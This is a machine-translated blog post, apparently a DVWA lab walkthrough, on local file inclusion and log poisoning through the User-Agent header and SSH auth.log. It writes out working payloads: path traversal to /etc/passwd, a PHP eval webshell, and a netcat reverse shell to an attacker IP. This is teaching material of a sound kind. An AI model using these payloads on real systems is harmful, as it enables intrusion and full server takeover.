当前位置:网站首页>File contained log poisoning (user agent)
File contained log poisoning (user agent)
2022-06-29 12:47:00 【Ink mark vs. breeze】
Catalog
Get a bounce shell Gain full control of the target server
One 、 The local file contains
Local File Inclusion Vulnerability refers to the inclusion of local php file , And by PHP The file contains a vulnerability to invade the website , You can browse all files on the same server , And get webshell.

See ?page= Iconic injection point , Prompt us to enter ?=page=index.php

Through error reporting , We can know that the directory path contained in the current file is /var/www/dvwa/vulnerabilities/fi/
We can go through ../../../../../etc/passwd Try to see if you can display the default user account password

Find access to . Therefore, there is a local File Inclusion Vulnerability (LFI), You can access some passwords in this way 、 Sensitive information files .
Two 、 Log poisoning
How to use it LFI Vulnerabilities get bounced shell, Fully control the target host ?
By injecting malicious code into readable files , Then browse it so that malicious code can be executed , such as
/proc/self/environ
/var/log/auth.log
/var/log/apache2/access.log
Log files are usually used to complete , Because local files are usually registered or written to log files .
Take a chestnut :
open burpsuite, Open agent . The browser accesses the following url Grab http package
http://192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ

It is found that the agent will execute , Let's change the package to php Try forwarding the code .

Modified to complete , Try forwarding the results :

You can find php The code is executed . So we can put payload Switch to webshell.php Medium php Code to get webshell.
For example, inject a sentence into the Trojan horse
<?php @eval($_POST['pass']);?>And then connect through the ant sword .
Get a bounce shell Gain full control of the target server
Method 1 :
Another way this time , Upload the article from the file and know passthru("") The function is PHP Executing system commands , Use here netcat Execute the command of listening port
structure payload by <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>

And then in kali Turn on Monitor .

Forward The result of the modified package is as follows :

Successful control of target host .
Method 2 :/var/log/auth.log
Access log files

Find out 22 The port is open , We can try to use ssh Log in to see if it will be recorded in the log file

With random Account login , Just type in the password . Then refresh the browser page to find random, It is found that the log file has been recorded .

This explanation ,ssh The following command is executed , We just need to replace the command with rebound shell Of payload Just ok 了 .
structure payload by <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>
Turn on monitoring , meanwhile ssh Log in .

The command here needs to be base64 code , The coding results are as follows :


Last ssh Enter , Refresh browser page , Execute the injection command shell Connect to the attack host .

Successful control of target host .
边栏推荐
- Go Senior Engineer required course | I sincerely suggest you listen to it. Don't miss it~
- Gbase8s database select has order by Clause 2
- Huffman coding
- GBase8s数据库select有HAVING 子句
- 《Go题库·14》WaitGroup的坑
- LR、CR纽扣电池对照表
- NvtBack
- Recurrence of recommended models (III): recall models youtubednn and DSSM
- Gbase8s database sorts standard or raw result tables
- 从Mpx资源构建优化看splitChunks代码分割
猜你喜欢

LR、CR纽扣电池对照表

Unexpected ‘debugger‘ statement no-debugger

LeetCode_双指针_中等_328.奇偶链表

Unexpected ‘debugger‘ statement no-debugger

模糊图片变清晰,一键双色图片,快速整理本地图片...这8个在线图片工具申请加入你的收藏夹!

推荐模型复现(二):精排模型DeepFM、DIN

LeetCode_ Double pointer_ Medium_ 328. parity linked list

Recommended model reproduction (II): fine arrangement model deepfm, DIN

Principle and process of MySQL master-slave replication

解决问题:ModuleNotFoundError: No module named ‘pip‘
随机推荐
2022.6.28-----leetcode.324
AGCO AI frontier promotion (6.29)
InDesign插件-常规功能开发-JS调试器打开和关闭-js脚本开发-ID插件
Gbase8s database select has order by Clause 6
Cmake error
《Go题库·14》WaitGroup的坑
MySQL 主从复制原理以及流程
Gbase8s database sorts standard or raw result tables
Deep understanding of volatile keyword
JVM之方法区
nvtmpp
How to fix ora-01017: invalid user name / password login denied
Gbase8s database select has order by Clause 3
如果我在深圳,到哪里开户比较好?另外想问,现在在线开户安全么?
牛顿不等式
Mysql database master-slave synchronization, consistency solution
GBase 8s 扩展外连接1
go 学习-搭建开发环境vscode开发环境golang
LeetCode_ Double pointer_ Medium_ 328. parity linked list
ERP编制物料清单 金蝶